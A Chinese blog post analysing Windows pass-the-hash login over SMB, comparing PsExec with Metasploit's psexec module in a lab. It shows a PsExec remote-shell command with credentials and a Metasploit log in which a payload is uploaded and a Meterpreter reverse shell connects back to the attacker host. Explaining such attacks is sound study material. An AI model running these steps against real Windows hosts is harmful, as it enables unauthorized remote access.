[使用Hash直接登录Windows]简单分析

暗月博客 2019年11月21日15:49:05评论499 views字数 2079阅读6分55秒阅读模式
摘要

由于msf用到exploit/windows/smb/psexec模块,所以猜想和pstool里面的PsExec.exe应该有些许联系

由于msf用到exploit/windows/smb/psexec模块,所以猜想和pstool里面的PsExec.exe应该有些许联系

查看说明,PsExec.exe可以进行远程连接得到一个交互式cmdshell,

C:/Documents and Settings/Administrator/桌面>PsExec.exe //192.168.1.108 -u "admi  nistrator" -p "123"  cmd PsExec v1.98 - Execute processes remotely Copyright (C) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [版本 5.2.3790] (C) 版权所有 1985-2003 Microsoft Corp.   C:/WINDOWS/system32>

csdn上某牛对于该工具的分析:PSTOOLS系列工具分析----对PSEXEC的逆向解析

“可以看到psexec在通信时主要用到了SMB这个应用层协议。简而言之,SMB(服务器信息块)协议是一个通过网络在共享文件、设备、命名管道和邮槽之间操作数据的协议,我们建立IPC连接、映射网络驱动、拷贝文件等操作都是基于SMB协议”

话说回来,msf中使用的,自己重现使用hash登陆的部分过程:

msf  exploit(psexec) > exploit [*] Started reverse handler on 192.168.1.5:4444 [*] Connecting to the server... [*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'... [*] Uploading payload... [*] Created /JLqNziXu.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[/svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[/svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (lvNaXYva - "MyQqiNw")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting /JLqNziXu.exe... [*] Sending stage (752128 bytes) to 192.168.1.108 [*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.108:1033) at 2013-01-05 22:05:35 +0800 meterpreter > sysinfo Computer        :Test  OS              : Windows .NET Server (Build 3790). Architecture    : x86 System Language : zh_CN Meterpreter     : x86/win32  meterpreter >

可以看出认证部分[*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'...应该就是向服务器发起一个用户或共享的认证(其他的是Meterpreter shell建立的过程),大致原理和PsExec.exe的是一样的。

最后关键的问题是,msf这种的"使用的是hash登陆"。而SMB协商过程指出:

“在SMB协议中,如果你想进行一次在服务器上的请求认证,你的密码可以以原码或加密后的形式 发送到服务器端。如果服务器支持加密属性,客户端必须发送一个应答信号。在negprot应答数据报中,服务器会给客户端发送一个密钥。然后,客户端将密 码加密并通过SesssetupX请求数据报发送到服务器端。服务器将会核查密码的有效性,并由此允许或拒绝客户端的访问。你必须知道一个SMB密码(未 加密)的最大长度是14位。密钥的长度一般为8位,加密过后的口令长度为24位。在ANSI密码中,密码中的所有位都转换成大写的形式然后再加密。

密码是以DEC编码方式进行加密的。”

抓包证明:

利用PSEXEC远程连接,SMB协商过程数据包:

[使用Hash直接登录Windows]简单分析

另外:次过程中,通过cain做嗅探,导致smb协商不成功,而且cain抓出提出smb协议的主机的账号及hash,而没能抓出登陆过程使用的用户名密码

meterpreter连接方式(应答报文包含了一个“SecurityMode”域,它判断是否允许使用加密属性):

[使用Hash直接登录Windows]简单分析
 

得以验证。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日15:49:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [使用Hash直接登录Windows]简单分析https://cn-sec.com/archives/70808.html

发表评论

匿名网友 填写信息